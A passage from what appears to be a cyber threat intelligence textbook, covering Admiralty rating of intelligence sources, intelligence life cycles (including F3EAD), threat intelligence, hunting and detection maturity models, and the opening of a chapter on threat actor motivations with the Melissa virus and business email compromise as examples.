					Relevance: Do you really need this intelligence, that is, in terms of the geographical location and/or nature of the business your organization is in? Looking at relevance establishes a need for intelligence. If irrelevant intelligence is being gathered, time is being wasted along with the possible pollution of current or future collected intelligence.

					Timeliness: Is the intelligence up to date? Simply put, intelligence that isn't timely can lead to analysts making the wrong decisions based on historical or incorrect intelligence. Timeliness ensures decisions aren't made with stale information.

			

			There are many methods available to ensure the accuracy, completeness, reliability, relevance, and timeliness of intelligence. However, one tried and true method for ensuring those are met is a framework called Admiralty.

			Admiralty ratings

			The Admiralty System or NATO System is a method for evaluating and rating collected intelligence. It consists of a two-character notation that evaluates the reliability of the source and the assessed level of data credibility of the intelligence. Employing Admiralty ratings to collect intelligence is an important data quality and source reliability assessment tool.

			Source ratings

			Understanding the reliability of an intelligence source (automated, semi-automated, or human) is paramount when considering onboarding an intelligence source. A source rating should be applied to intelligence that is collected and analyzed.

			Applying a source rating is an important process in CTI as it serves as a historical ledger of activity of the source of the intelligence, making it easier for perusal in the future. When examining source ratings, sources are classified in order of decreasing reliability, with A being the most reliable:
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			Table 1.4 – Data and intelligence source reliability scale

			Source ratings play an important part in any CTI program. Source ratings help establish a baseline trust rating for any source – whether that is data or human in scope. In the following section, we're going to discuss an additional part of CTI: data credibility ratings. 

			Data credibility ratings

			Within CTI, it's important to trust but verify the data sources of threat intelligence. Assigning a credibility rating to threat intelligence helps to establish the fundamental accuracy of an organization's CTI program. Additionally, when employed, credibility ratings help establish a profile of the intelligence that is being collected. And finally, data credibility, while somewhat subjective, helps eliminate confirmation bias by seeking independent source validation.

			Data credibility ratings measure the levels of corroboration by other sources. When examining source ratings, the credibility is classified in order of decreasing credibility, with 1 being confirmed by independent sources:

			
				
					[image: Table 1.5 – Data credibility ratings]
				

			

			Table 1.5 – Data credibility ratings

			Data credibility ratings help a CTI organization judge the credibility of the data they are ingesting. While data credibility ratings play a crucial role in CTI, fusing the data credibility rating with source ratings makes for a great combination to assess data and intelligence accurateness, reliability, and trustworthiness.

			Putting it together

			In principle, it should be easy to apply Admiralty codes to threat intelligence, but in practice, it's more difficult. The question that often arises is, ultimately, what data and intelligence can we trust? 

			While that answer will vary, one method to consider employing is from a paper titled The Admiralty Code: A Cognitive Tool for Self-Directed Learning, written by James M. Hanson at the University of New South Wales (2015; https://www.ijlter.org/index.php/ijlter/article/download/494/234). 

			Using Table 1.5, it's easy to start applying source and credibility ratings to collected CTI:
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			Table 1.6 – The Admiralty code for evaluating data credibility

			Using the preceding table as an example in which to apply to threat intelligence, an information security industry threat intelligence blog would be considered B1, which is usually reliable and confirmed and can, thus, be considered credible.

			A second example would be intelligence from a little-known independent researcher on their personal blog with no independent confirmations. This intelligence could be rated F3, or the source cannot be judged, and the credibility of it would be possibly true, requiring additional investigation. 

			Employing Admiralty ratings in conjunction with intelligence life cycles in a CTI program is a generally accepted mechanism to enable a CTI program. Let's move on to threat intelligence life cycles next.

			Intelligence cycles

			Within the field of CTI, there are several intelligence life cycles that can be considered for implementation. In many cases, the most widely used models are the threat intelligence life cycle and the F3EAD cycle. Each model provides its own distinct benefit, and the application of each model depends on the organization's needs. However, implementing one of these models is paramount, as it provides consistent, actionable, reliable, and high-quality threat intelligence. 

			The threat intelligence life cycle 

			The threat intelligence life cycle is a process and concept that was first developed by the United States Central Intelligence Agency (CIA). Intelligence is the product of a process that includes collecting data, analyzing it, adding context, and finally, delivering that intelligence as a product of some sort. Following this life cycle will give your organization a structured, repeatable way of delivering consistently accurate and timely intelligence. The threat intelligence life cycle is a five-step process, which is meant to be followed in order, starting with planning and direction:

			
					Planning and direction

					Collection

					Analysis

					Production

					Dissemination and feedback

			

			Let's examine the threat intelligence life cycle in greater detail:
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			Figure 1.4 – The threat intelligence life cycle

			When analyzing the threat intelligence life cycle, it's best to look at each stage individually to better understand how the stage fits into the overall threat intelligence life cycle. So, let's examine each stage in closer detail.

			Planning and direction

			Generally speaking, the first phase of the threat intelligence life cycle begins with planning and setting the direction for what intelligence will be collected and analyzed, as well as for what purpose. Objectives and direction are derived based on Prioritized Intelligence Requirements (PIRs), Prioritized Collection Requirements (PCRs), and Essential Elements of Information (EEIs).

			Collection

			In response to the PIRs, PCRs, and EEIs, data collection can begin. Data can be collected from several sources, ranging from humans to open source and public locations, all the way to messaging apps such as Telegram. Often, this data is collected both manually, by an analyst, and en masse, via automated means. Data processing takes place after the data is gathered; it should be stored, organized, and normalized in such a way that makes the data easy to analyze. Since the collection phase typically ends up generating a lot of data, the processing stage includes the systematic way to store intelligence in a centralized location, such as a Threat Intelligence Platform (TIP).

			Analysis and production

			After the data has been centralized in a standardized way, we begin the process of analyzing and making the data into intelligence that is deliverable in some format. For example, the analysis could include deduplication, Admiralty scoring, pivots, and enrichment. Production could include turning the intelligence into some sort of deliverable format, such as a report for higher executives.

			Dissemination and feedback

			Finally, after the intelligence has been analyzed and produced, it should be disseminated with feedback sought. Additionally, after a thorough review of the intelligence, decision-makers will likely take actions based on the intelligence. The entire process is then reviewed, and feedback is sought from internal and external key stakeholders and consumers of the intelligence.

			Typically, using the threat intelligence life cycle in your organization is a strategic decision, which when used in unison with the second, more tactical life cycle, F3EAD, can be a great complement to adopt. Let's examine the F3EAD life cycle in greater detail.

			F3EAD life cycle

			The F3EAD cycle is an alternative intelligence life cycle that can be considered for application within a CTI organization. While this life cycle is typically used in militaries worldwide involved in kinetic operations, the F3EAD life cycle can just as easily apply to CTI. F3EAD is more tactical in its approach, as opposed to the more strategic threat intelligence life cycle, which can be viewed in six individual stages:

			
					Find

					Fix

					Finish

					Exploit

					Analyze

					Disseminate

			

			When used in unison with the threat intelligence life cycle, both operational and strategic objectives can be more holistically accomplished:
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			Figure 1.5 – The F3EAD life cycle

			Now, let's examine Figure 1.5 in detail.

			Find

			The find stage is the who, what, when, why, and where of CTI. In this stage, a tactical target of intelligence is defined, located, and collected. As an example, an incident responder would find suspicious information across several endpoints.

			Fix

			The fix phase effectively transforms the data and intelligence gained from the find phase into evidence that can be used as a basis for action within the next stage. An example of activity in the fix stage includes an incident responder correlating multiple IOCs across a cluster of infected endpoints within the enterprise.

			Finish

			The finish stage is the action phase. In this stage, an action is taken based on the first two stages, find and fix. Let's use the preceding example: after the incident responder isolates the suspicious endpoints that were grouped together, they are taken offline and wiped.

			Exploit

			The exploit stage deconstructs the intelligence from the first three phases and develops after-actions and next steps. An example of this stage includes a malware reverser that statically reverses the engineering samples identified on the infected endpoint by the incident responder. The malware reverser can then assist in deploying organization-wide mitigation methods.

			Analyze

			The analyze stage is the fusion stage. It includes folding the intelligence that has been identified into the broader web and context of intelligence. An example of this would be the aforementioned reverse engineer entering malware intelligence and data from reversing efforts into a TIP. 

			Disseminate

			As the result of the previous stage, the results are disseminated to both tactical consumers (for example, SOC) and strategic consumers (for example, CISO). For example, this could include the malware reverse engineer passing the isolated malware activity to the SOC for further blocking across the organization.

			When the threat intelligence life cycle and F3EAD are used in unison, like two large cogs, the enterprise can truly benefit from each unique approach. One way of visualizing these cycles working together includes looking at both cycles as cogs in a larger threat intelligence cycle. The interfaces between the threat intelligence life cycle and F3EAD are at the collection and analysis phases and F3EAD's find and analyze phases.

			While there are many intelligence life cycles that could be implemented inside a CTI function, and there's no one-size-fits-all implementation, we've shared two prominent models that are easily adaptable to CTI. In the next section, we're going to examine a very important implementation consideration: the maturity and hunting models.

			Threat intelligence maturity, detection, and hunting models

			In the context of CTI, there are many maturity and hunting models for organizations to consider. In particular, there are three maturity models that are widely leveraged that will be discussed in this chapter. Each model approaches different core problems using the Threat Intelligence Maturity Model (TIMM) by looking at the organization's overall intelligence maturity relative to a CTI program's adoption. Then, there's the threat Hunting Maturity Model (HMM), which addresses and defines an organization's hunting maturity rating. Finally, there's the detection maturity model, which is used to address an enterprise's ability to detect malicious behavior and will help an organization rate its attack detection capabilities and relative maturity.

			While not all organizations have the relative capabilities to hunt through their data or have established CTI practices, it is important to rate and track the maturity of your threat intelligence program, its detection capabilities, and determine the organization's ability to hunt through data, if applicable. 

			TIMM

			First published by ThreatConnect, the TIMM is intended to enable an organization to rate the maturity of a CTI function within an enterprise. Each level is distinct, starting at the least mature, or level 0, and going all the way to the most well-defined CTI program at maturity level 4:

			
					Maturity level 0: Organization is unsure where to start.

					Maturity level 1: Organization is getting accustomed to threat intelligence.

					Maturity level 2: Organization is expanding threat intelligence capabilities.

					Maturity level 3: Organization has a threat intelligence program in place.

					Maturity level 4: Organization has a well-defined threat intelligence program.

			

			Let's examine each maturity level in detail:
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			Figure 1.6 – Maturity levels

			Maturity level 0 – organization is unsure where to start

			Maturity level 0 is defined by an organization that doesn't have any threat intelligence program or experience in threat intelligence. Usually, threat intelligence programs start their life as threat collection programs. Typically, at this level, the organization has no staff that is solely dedicated to CTI, and it is likely that any staff dedicated to threat hunting is not formalized in any fashion. 

			A great starting point to mature from level 0 includes collecting, storing, and aggregating organizational log data from endpoints, servers, or any connected device. Ideally, aggregation can occur in a systemic and formalized way, such as with a Security Information and Event Management (SIEM) tool.

			Maturity level 1 – organization is getting accustomed to threat intelligence

			Maturity level 1 is when the organization starts becoming accustomed to threat intelligence. Organizations at this level are typically starting to understand the vast nature of the threat landscape. Organizations have basic logging, with logs often being sent to a SIEM tool. Often, analysts suffer alert fatigue due to the lack of resourcing, the lack of alert tuning, event overloading, or a combination of all of those factors.

			Analysts operating at level 1 will typically block and alert based on triggered rule alerts from a system such as an Intrusion Detection System (IDS), sometimes enabling analysts to perform rudimentary hunting. Analysts at level 1 usually leverage a centralized SIEM. In level 1, analysts are typically trying to tune alerts to make analysis more easily accessible. From a human capital perspective, organizations at level 1 will sometimes have limited cybersecurity staff performing threat hunting and intelligence. 

			While an organization rated as level 1 is still maturing and is reactionary in its approach, a great starting point to mature from level 1 to level 2 includes automating and tuning alerts in a SIEM or similar environment on top of considering an additional headcount that's necessary for scaling a threat hunting organization.

			Maturity level 2 – organization is expanding threat intelligence capabilities

			Organizations finding themselves at maturity level 2 will find that they are maturing in their CTI capabilities. Most often, level 2 is where you will see organizations draw contextual conclusions based on the intelligence they're generating. Typically, organizations operating at level 2 are collaborating to build processes that can find even the most basic indicator's role in the vast landscape of a criminal cyber attack, for example. To facilitate this level of automation, CTI teams use scripts or a TIP.

			Teams operating at level 2 will often find themselves ingesting data feeds that are both internal and external from a litany of threat intelligence providers and data. Teams at level 2 will often start the shift from a reactive approach (for example, blocking indicators on a firewall from an active incident) to a proactive approach (for example, proactively blocking indicators from a high-fidelity enriched feed from a threat intelligence provider). In many organizations, there might be one or two full-time analysts dedicated to a CTI function.

			Organizations looking to mature from level 2 to level 3 should be focusing on security automation. Security orchestration should also be a focus area during the maturation process within level 2. Both automation and orchestration can be done in a combination of ways, including analysts creating custom scripts and tools to help automate their key workflows. One primary key to mature to level 3 includes the ability of the CTI team to create their own intelligence.

			Maturity level 3 – organization has a threat intelligence program in place

			Maturity level 3 is a level that many organizations won't reach, and that's perfectly fine. Not all organizations will have the same level of funding and resourcing available to achieve level 3. Maturity level 3 is defined by a team of security analysts or threat intelligence analysts with semi-automated workflows that are proactively identifying threat activity possibilities. It is common for this team to have incident response and forensics functionality in addition to CTI capabilities.

			Processes and procedures have been thoroughly developed in level 3, and analysts working in the CTI function are typically tracking malware families, TAGs, and campaigns. A TIP is a commonplace finding at organizations at maturity level 3, which gives analysts the capability to store and analyze intelligence over a long period of time. Security orchestration might be in place for level 3, but it is likely not fully integrated into end-to-end security operations. 

			Workflows designed at level 3 should allow full intelligence integration into a SOC, detection engineering, incident response, and forensics functions. This enables these business functions to make proactive and reactive decisions based on intelligence provided by the CTI team. Analysts should focus on adding context to indicators identified as opposed to merely focusing on individual indicators of maliciousness. This, in turn, is the process of a level 3 maturity team creating their own intelligence versus merely consuming others' intelligence. Analysts should find themselves asking questions, such as what additional actions are related to this indicator?

			Organizations that are maturing from level 3 to level 4 should focus on integrating orchestration, incident response, and intelligence enrichment into all security operations. Businesses that have reached maturity level 4 should also focus on deriving strategic value from the threat intelligence they're generating versus just tactical intelligence generation. 

			Maturity level 4 – organization has a well-defined threat intelligence program

			Maturity level 4 is a step that many organizations strive to achieve, but few actually do. Due to a combination of funding, staffing, and inexperience, many organizations struggle to reach level 4 maturity. Organizations at level 4 maturity have stable threat intelligence programs with well-defined, formalized processes and procedures with automated and semi-automated workflows that produce actionable intelligence and ensure an appropriate incident response. Organizations operating within level 4 often have larger organizational functions, with mature procedures to provide intelligence to a litany of internal service owners, such as the organizational incident response function.

			Organizations in level 4 will continue using the TIP mentioned in previous levels, with CTI teams beginning to build a security analytics platform architecture that allows your analysts and developers to build and run their own tools and scripts tailored to the unique organizational requirements. Teams operating at level 4 utilize automation as much as possible, such as leveraging the API feeds of a targeted attacker activity that's automatically ingested into a TIP. The CTI analyst can vet the intelligence and pass it to security operations for blocking.

			A primary differentiator in level 4 is the amount of organizational buy-in for CTI functions. CTI functions at level 4 enable business decisions at the highest levels, including both strategic decisions and tactical decisions.

			Now that we've covered the TIMM, let's examine an additional model to consider for implementation: the threat HMM.

			The threat HMM

			Organizations are quickly starting to learn the importance and benefit of threat hunting. The best foundation for beginning threat hunting is to follow a standard model that not only measures maturity but also ensures a systematic process is being followed by analysts themselves. Before we can discuss the concepts related to the threat HMM, first, we need to approach the question of what is threat hunting?

			Threat hunting can be best described as the process of proactively and systematically hunting through organizational logs to isolate and understand threat activity that evades an enterprise's compensating security controls. The tools and techniques that threat hunters employ are often varied, with no single tool being the silver bullet. The best tool or technique almost always depends on the threat the analyst is actively hunting.

			It is important to note that hunting is most often done in a manual, semi-automated, or fully automated fashion, with the distinct goal of enabling detection and response capabilities proactively by turning intelligence into a detection signature.

			The threat HMM was developed by David Bianco and describes five key levels of organizational hunting capability. The HMM ranges its levels of capability from HMM0 (the least capable) to HMM4 (the most capable):

			
					HMM0: Initial

					HMM1: Minimal

					HMM2: Procedural

					HMM3: Innovative

					HMM4: Leading

			

			Let's examine each HMM level.

			HMM0 – initial

			The first level is HMM0, which can best be described as an organization that relies primarily on automated alerts from tools such as IDS or SIEM to detect malicious activity across the organization. Typically, organizations in HMM0 are not capable of hunting through their enterprises proactively. Feeds may or may not be leveraged in HMM0, and they are typically automatically ingested into monitoring systems, with little to no enrichment applied. The human effort in HMM0 would primarily be to resolve alerts generated from detection tools.

			Data sourcing in HMM0 is usually non-existent or limited, meaning that, typically, organizations do not collect much in terms of data or logs from their enterprise systems, severely limiting their proactive hunting capabilities. 

			HMM1 – minimal

			An organization operating in HMM1 still primarily relies upon automated alerting to drive its detection and response capabilities and processes. Organizations in HMM1 are primarily differentiated by their sources of collection. In HMM0, we learned that organizations had limited internal data sources (for example, endpoint logs), with no structured way of looking through those logs. HMM1 organizations find themselves collecting, at the very least, a few types of data from across the enterprise into a central collection point, such as a SIEM.

			Analysts in HMM1 are able to extract key indicators from alerts and reports and search historical data to find any recent threat activity. Because of this search capability and limited log collection, HMM1 is the first level where true threat hunting happens despite its limited nature.

			HMM2 – procedural

			Organizations in HMM2 find themselves with the capability to follow procedures and processes to perform basic hunting across enterprise datasets (for example, endpoint logs). Organizations in HMM2 often collect significantly more data from across the enterprise, such as firewall logs, endpoint logs, and network infrastructure logs. 

			It is likely that organizations in HMM2 won't have the maturity to define new workflows or processes for themselves, but they are capable of hunting both historically and, in some cases, proactively. 

			HMM2 is typically the most common level witnessed among organizations that employ active programs.

			HMM3 – innovative

			Many hunting procedures found throughout enterprises focus on the analysis techniques of clustering similar behavior (for example, detecting malware by gathering execution details such as Windows Registry modifications and clustering activities identified elsewhere across the enterprise). Enterprises in HMM3 find themselves not only proactively hunting through a litany of internal log data sources, but they are also performing a grouping and clustering of activity. This clustering or grouping of activity involves identifying similar clusters of threat activity to proactively block, monitor, or further assess. Additionally, organizations operating in HMM3 often have highly skilled threat hunters who are adept at identifying nefarious activity across information systems or networks. 

			Typically, analysts in HMM3 leverage grouping and clustering to identify new threat activities that are bypassing traditional security controls. Analysts performing in HMM3 can identify nefarious activity while sorting through a needle in a haystack. Traditionally, automated alerts are highly tuned, with very little noise being produced. 

			As the number of hunting workflows and processes develops and increases, scalability issues that might pop up will be solved in HMM4.

			HMM4 – leading

			Enterprises in HMM4 are leading the way in terms of defining procedures that organizations in HMM0–HMM3 generally follow. Organizations in HMM4 are advanced in terms of log collection, alert tuning, and the grouping/clustering of malicious activity. Organizations in HMM4 have well-defined workflows for detection and response purposes.

			Automation is heavily employed in HMM4, clearly differentiating it from HMM3. Organizations in HMM4 will convert manual hunting methods (such as pulling WHOIS information for a domain being used as part of C2 infrastructure) into automated methods (such as automatically enriching domain intelligence with WHOIS information). This automation saves valuable analyst time and provides the opportunity for analysts to define new workflows to identify threat activity throughout the enterprise. 

			The detection maturity model

			Ryan Stillions published the Detection Maturity Level (DML) model in 2014, but it is still useful today to measure organizational maturity. At its core, DML is a detection model intended to act as an assessment methodology to determine an organization's effectiveness of detecting threat activity across information systems and networks. DML is used to describe an organization's maturity regarding its ability to consume and act upon given CTI versus assessing an organizations' maturity or detection capabilities. 

			It's important to note there is a distinction between detection and prevention. As its name implies, the detection maturity model deals directly with detection versus prevention. 

			The DML consists of nine maturity levels, ranging from eight to zero:

			
					DML-8: Goals

					DML-7: Strategy

					DML-6: Tactics

					DML-5: Techniques

					DML-4: Procedures

					DML-3: Tools

					DML-2: Host and network artifacts

					DML-1: Atomic indicators

					DML-0: None or unknown

			

			The lowest of these levels is the most technical with the highest being the most technically abstract, disregarding level zero, of course.

			Let's examine the detection maturity model in greater detail.

			DML-8 – goals

			Being the most technically abstract level, determining a threat actor's goals and motivations is often difficult, if not impossible, in some circumstances. The threat actor could be part of a larger organization that receives its goals from a source higher up in the operation. Additionally, the goals might not even be shared with the individual that has a hands-on keyboard. If the goals are criminal in nature, it is often hard to determine the motivation of the attacker.

			In some cases, goals are easy to determine, such as ransomware, which, typically, has a very clear motivation and goal. Many times, determining a goal is merely guessing at what the attacker's true goals were based on the behavior and data observations of lower DMLs (for example, stolen data, targeted victims, and more). 

			DML-8 is, typically, what C-level executives are most often concerned with, with who did this, and why? being an extremely common question when called into a board room. 

			DML-7 – strategy

			DML-7 is a non-technical level that describes the planned attack. Usually, there are several ways an attacker can achieve its objectives, and the strategy determines which approach the threat actor should follow. Threat actor strategies vary based on goals and intent, such as a shorter-run criminal attack. Determining a threat actor's strategy is often partially speculative in nature, with observations drawn from behavioral and data observations over a period of time. A good example of this type of observational information being built over time includes the threat actor known as Sofacy. Sofacy has been tracked for years throughout the security industry, with new and unique attacks and new tool development occurring routinely. Watching this actor evolve over time can help inform an analyst of the attacker's intent, but without evidence, there is a degree of estimation.

			It is important to note that both DML-7 and DML-8 are often hypothetical in nature. For this reason, they are not easily detectable via conventional compensating security controls.

			DML-6 – tactics

			In order to succeed in DML-6, an organization's analysts should be able to reliably detect a tactic being used regardless of the technique or procedure used by the threat actor. Typically, determining a tactic is a diverse process, done over time, most akin to profiling an attacker. A good example of this includes the activities identified in Gorgon Group, which were first identified by Palo Alto Networks. This blog details the tactical details of a cybercriminal and nation-state espionage actor that played out over a long period of time. Detailing the actor's TTPs over time gives explicit details about operational cadence, TTPs, capabilities, and in some cases, motivation.

			Tactics form the first technical level of the DML. In most cases, tactics are not detected by a single IOC or single detection alert or signature. Tactics are typically identified by skilled analysts, rather than technical correlation.

			DML-5 – techniques

			Traditionally speaking, being able to detect an adversary's techniques is superior to determining their procedures. Techniques differ from procedures in that techniques are usually correlated to the individual versus correlation to a group. 

			Many threat actors aren't aware that when they perform attacks, they leave behind digital breadcrumbs helping analysts determine the specific techniques employed. DML-5 is primarily concerned with determining the techniques of an individual actor.

			DML-4 – procedures

			The process of determining actor procedures makes it effective at detecting adversary activity throughout an enterprise. In its simplest form, determining procedures isolates the threat actor activity that appears to be performed methodically two or more times during a specific time period that is deemed accurate by the organization.

			Many of the procedures identified at this stage help an analyst determine broad behavior patterns, such as identifying procedures that would include a threat actor systemically connecting to victim systems and dumping credentials for lateral movement. As such, detection and alerting on procedures are typically broader in scope.

			DML-3 – tools

			Determining the specific tools that a threat actor employs is often not difficult and can provide a wealth of intelligence to a CTI analyst. Being able to detect adversary tools means you can reliably detect tool activity and the variations and functionality changes that the tool might experience.

			Detecting tool functionality can be broken down into two categories: transfer and presence and the functionality of the tool. Both will be examined in detail:

			
					Transfer and presence: This is the ability to identify the transfer and presence of the tool on either a server/endpoint or across the network. Additionally, this identifies active usage in the environment.

					Functionality: This is the ability to identify the functionality of the tool via analysis techniques, such as static reverse engineering.

			

			Detections are typically built from analysis originated by the transfer and presence and the functionality of the tools themselves.

			DML-2 – host and network artifacts

			Many organizations spend a lot of time focusing on detecting host and network-based artifacts. Being perhaps the easiest of all to detect, host and network indicators are simply artifacts that are observed before and after an attack. If those tools or malware change, for example, even in the slightest sense, the detection methodology and strategy would shift.

			While technical in nature, DML-2 is considered rather rudimentary when compared with more holistic detection methods, such as those found in DML-3, DML-4, and DML-5. Attribution poses an additional challenge when looking at detecting host and network artifacts. CTI analysts should never attribute tools to a specific threat actor, group, or country based on just host and network artifacts alone. Many tools are spread across threat actors and are shared, making it extremely difficult, if not impossible, to attribute a tool to a TAG. 

			DML-1 – atomic indicators

			Atomic indicators are indicators that cannot be broken down into smaller parts and, due to that, can't retain their meaning in the context of the intrusion activity. DML-1 is considered one of the most rudimentary of all detection methodologies. Some examples of this include IP addresses, domains, and URLs. Detection at this level usually comes in the form of malware hashes, domains, URLs, IP addresses, and other technical indicators specifically related to attacker activity.

			While technical in nature, atomic indicators are rather weak from a detection benefit perspective. Atomic indicators are temporal in nature; they are temporary and prone to change. Additionally, atomic indicators lack additional context and often provide little intelligence value. Detection and response methods employing atomic indicators are usually playing whack-a-mole, by blocking specific indicators that are constantly changing.

			DML-0 – none or unknown

			DML-0 is reserved for organizations that want but do not have detection capability, or organizations that aren't mature enough to recognize the need for a CTI function. Organizations operating in DML-0 often don't have robust logging solutions to facilitate internal threat hunting. Organizations in DML-0 often have cybersecurity staff, but they are unlikely to be devoted to threat hunting.

			In the Threat intelligence maturity, detection, and hunting models section, we've examined three unique models that can be used for organizational maturity in different functional areas within the CTI field. Specifically, we've examined the threat intelligence maturity, detection, and hunting models that should be used to determine your own organization's maturity. The models discussed will help your organization assess its overall threat intelligence maturity, as well as the concepts of hunting and detection of threat activity. Leveraging one of these maturity models will help organizations adapt and make meaningful decisions to mature the CTI function.

			In the next section of this chapter, we'll coalesce all the information found throughout the chapter to determine what you can actually do with the intelligence once it's been collected and enriched.

			What to do with threat intelligence

			Every organization has different levels of stakeholders that exist within each of its own IT security groups. This includes the frontline defenders working in the SOC up to the CEO of an organization. CTI informs the entire organization in this chain, and as such, the context it provides allows for tactical and strategic decision-making at every level along the way. Further, the context provided by the CTI allows stakeholders to identify and prioritize which of the pieces of intelligence should be utilized and actioned first.

			From the start, it's a no-brainer to utilize technical CTI to improve the effectiveness of internal security architectures to assist in blocking attacks or access to malicious C2, to identify vulnerable systems and patch software to reduce the security footprint of an infrastructure, and to identify possible security alerts and triage these events from the SOC and IT support groups.

			The tactical CTI provided can assist with signature generation within your enterprise by focusing on blocking the TTPs utilized by the threat actors. This can be through the utilization of threat frameworks such as MITRE's ATT&CK framework (https://attack.mitre.org/), which we will discuss in greater detail in a later chapter, but it can be also utilized by operational groups such as incident responders, forensics, and security researchers to assist them in identifying and analyzing much larger and more complex attacks.

			From the identification of any key event, these business organizations will look toward the CTI to assist in identifying numerous things, including the following:

			
					What tactics are being utilized by the threat actors targeting the organization? 

					How does the attack work?

					Are there any additional attack characteristics elsewhere across the organization?

					What do we need to do to remediate immediately or at least stop an ongoing attack?

					What internal assets are they targeting?

			

			Tactical CTI can accelerate the response to key events such as that referenced previously by providing context around security data and information. Additionally, security practitioners can continue to hunt and pivot off of indicators and information collected during the response process to enrich the operational investigation along the way. Further tactical CTI can assist with remediation. The knowledge of the threat actor's TTPs can assist in the identification of probable systems that have been compromised and help with the identification of IOC discovery during incident response and forensics. 

			Finally, the operational and strategic benefits could allow executives of an organization to make security posture improvement decisions for the corporation before they become a victim of an attack, allow for appropriate strategic investment into security, and most importantly, be the organizational cheerleader for security within the organization, putting the importance on security at every level of employee. Actions such as these will ensure the immediate security posture improvement of an organization, reduce the footprint of corporate risk, and keep the reputation of your corporate brand in good standing. 

			Summary

			We've just gone through and thrown everything but the kitchen sink at you trying to illustrate the motivations behind starting and building a threat intelligence program! Some of the key takeaways from this chapter should be what CTI is, what its benefits are, and how it can be used by every level of employee to prioritize and improve the security posture of an organization. Further, we tried to frame what good intelligence is by utilizing several known frameworks for judging the credibility and reliability of your gathered source information. We also walked through the threat intelligence life cycle that is used to hunt, pivot, and enrich information to create CTI. Finally, we walked you through a model in which you can rate the maturity of your organization's CTI capability.

			In the next chapter, we will start ramping up the technicality by introducing core concepts such as defining threat actors and campaigns, as well as looking at tools and vulnerabilities that threat actors often leverage. Further, we will clearly define threat actor types and discuss the attribution of threat actors in depth. Finally, we will introduce standardized naming conventions for identifying campaigns and TAGs and discuss the advantages and disadvantages of attribution overall. 

		

	
		
			Chapter 2: Threat Actors, Campaigns, and Tooling

			When people think of threat actors, they often associate the iconography of the hooded miscreant; hiding out in a basement, their features illuminated by the glow of the monitor, tirelessly pecking on the keys of a worn-out keyboard. While this may be a semi-accurate portrayal for a percentage, the reality is that threat actors are far more professional and organized. Studying their behaviors and approaches to committing cybercrimes is much more detailed and involves studying the threat actors, their motivations, and the associated tactics, techniques, and procedures (TTPs) that they utilize in their attack chain.

			As we learned in the previous chapter, there are many diverse methods we can use to collect, enrich, rate, and operationalize threat intelligence. A foundational part of CTI involves studying and understanding threat actors, campaigns, vulnerabilities, and malware. These building blocks, when properly defined, help determine a profile of the TTPs associated with an individual threat actor or a threat actor group (TAG).

			The objective of this chapter is to introduce you to the primary concepts related to threat actors, their TTPs, and how they conduct their operations.

			Specifically, in this chapter, we are going to cover the following topics:

			
					Attacker motivations

					Threat actors

					Campaigns

					Vulnerabilities and malware

					Malware, campaigns, and actor naming

					Tooling

					Threat actor attribution

			

			Actor motivations

			The first question most people ask when approaching cyber threat intelligence as an industry for employment or as a means for security posture improvement is, why do threat actors do what they do? What motivates them to perform these malicious acts? Well, the answer varies from individual to individual but ideally, it can be broken down into some very basic categories. No matter what motivation, it's important to understand that all these individuals are opportunistic, meaning they take what they can and are looking for the simplest methods to achieve results. That's it – no magic here.

			As we move through this section, we'll explore several motivations that drive threat actors while providing examples of each along the way. Whether it be financially motivated or some form of ideological belief system, you'll find that the foundation of each threat actor's actions varies.

			Bragging rights or for fun

			Now, this is going to sound a little crazy, but can you imagine a time in which you could hack into a corporate infrastructure, present proof to that organization, and then just ask for a job… and they would hire you! A time like this existed! If you attempted to do something like this in modern times, then you'd most likely be facing criminal charges, fines, and a prison sentence. That probably isn't the best way to showcase your talent. The Computer Fraud and Abuse Act (CFAA), which was introduced in the USA in 1986, pretty much put legislation in place that prohibits accessing computers without authorization, so those times are over. 

			Bragging about your hacking accomplishments is probably no way to look for a job and while some prominent hackers have gotten legitimate employment positions because of their malicious actions, it shouldn't be the motivation that inspires any malicious activity. Along the same vein, performing malicious activity out of pure enjoyment hits the same nerve and has been the primary motivation for numerous cyber activities. 

			As an example, in 1999, David Lee Smith of Aberdeen Township, New Jersey was sentenced to 20 months in federal prison and was fined $5,000. Further, the judge at the time ordered that when David was released from prison, he should continue to have a supervised release for 3 years and not be involved with computer networks, the internet, or internet bulletin boards until authorized by the court. To put this into perspective, can you imagine what life would be like should you commit a crime, and the judge comes back and says your punishment is that you can't have access to the internet! The internet is a human right at this point. Getting back to the point, his crime at the time was that he wrote the Melissa virus, the event that foreshadowed how the world would change, and set the next two decades' worth of modern threats into motion.

			So, if you have never heard of the Melissa virus, then let me give you an overview. Mr Smith created a virus that used a Microsoft Word macro to hijack a user's Microsoft Outlook account. Then, the malware would proceed to send messages to the first 50 email addresses in the user's address book. Through some very basic social engineering, the recipient of the message was elicited to open the email and a malicious attachment started the cycle all over again. The malware was successful in attacking over 300 corporations and government agencies and the FBI estimated the cost of cleaning up to be around $80 million. 

			But the most astonishing thing about this case is something that the prosecuting US Attorney, Christopher J. Christie, long before he took the office of Governor and before he sought out for the presidential election, stated that virus writers seem emboldened by technology and enjoy the thrill of watching the damage they reap. This is certainly the case here. Mr Smith admitted that he named the virus after a stripper from Florida and that the actual virus didn't have any capability of stealing money or information. It simply wreaked havoc and caused millions of dollars in harm. Like many major cyber events, Melissa caused a paradigm shift in thinking as corporations began to realize the danger of opening email attachments and threat actors began to utilize them as a delivery mechanism. The cat and mouse game had begun. 

			Financial or for profit

			No matter what industry you work in, there are always individuals or groups that look to profit from the work of that field in some way. The adoption of the modern-day computer in workplaces and eventually in everyone's homes and pockets doesn't change this fact. The advancement of technology has just provided threat actors with new tools who seek to profit directly from their actions or seek to retrieve data that can eventually lead to profit. 

			You can even stipulate that our modern advancements have lowered the barrier to entry to commit these types of crimes. As an example, to attempt to commit any form of Business Email Compromise (BEC) attack, a form of phishing attack that utilizes social engineering to fool people into transferring or wiring money into fraudulent or incorrect accounts, it all starts with an email address. Nearly everyone on the planet can create an email account.

			Important Note

			While BEC attacks have the lowest level of technical sophistication, they are under-appreciated and often not the focus for security researchers and threat intelligence analysts, even though this nets cybercriminals billions of dollars from their actions. This makes BEC attacks the most profitable of any cyber-attack as far as financial losses to businesses are concerned from a financial perspective. According to the United States, the FBI released a 2020 cybercrime report (https://www.ic3.gov/Media/PDF/AnnualReport/2020_IC3Report.pdf) indicating losses of at least 1.8 billion dollars from BEC attacks alone. Additionally, the report indicated that there were at least 19,000 victims of BEC attacks throughout 2020, indicating the financial damage and prevalence of BEC attacks.

